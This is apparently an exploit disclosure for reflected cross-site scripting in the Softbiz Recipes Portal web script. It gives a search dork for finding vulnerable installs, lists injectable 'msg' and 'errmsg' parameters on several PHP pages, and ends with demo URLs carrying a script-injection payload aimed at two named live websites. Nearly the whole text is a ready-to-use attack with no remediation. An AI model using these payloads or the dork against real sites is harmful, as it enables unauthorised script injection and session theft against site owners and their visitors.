Softbiz Recipes Portal Cross Site Scripting | XSS

Dork: "Powered by SoftbizScripts"

####################################################################
#  Proof Of Concept [POC]

http://site/[path]/admin/index.php?msg=[XSS]

http://site/[path]/signinform.php?id=0&return_add=/caregivers/index.php&errmsg=[XSS]
http://site/[path]/signinform.php?errmsg=[XSS]

http://site/[path]/msg_confirm_mem.php?errmsg=[XSS]


#  Demo [POC]



http://www.buy-sellcars.com/msg_confirm_mem.php?errmsg="><script>alert(Hacked)</script>


http://www.micaregivers.org/caregivers/admin/index.php?msg="><script>alert(Hacked)</script>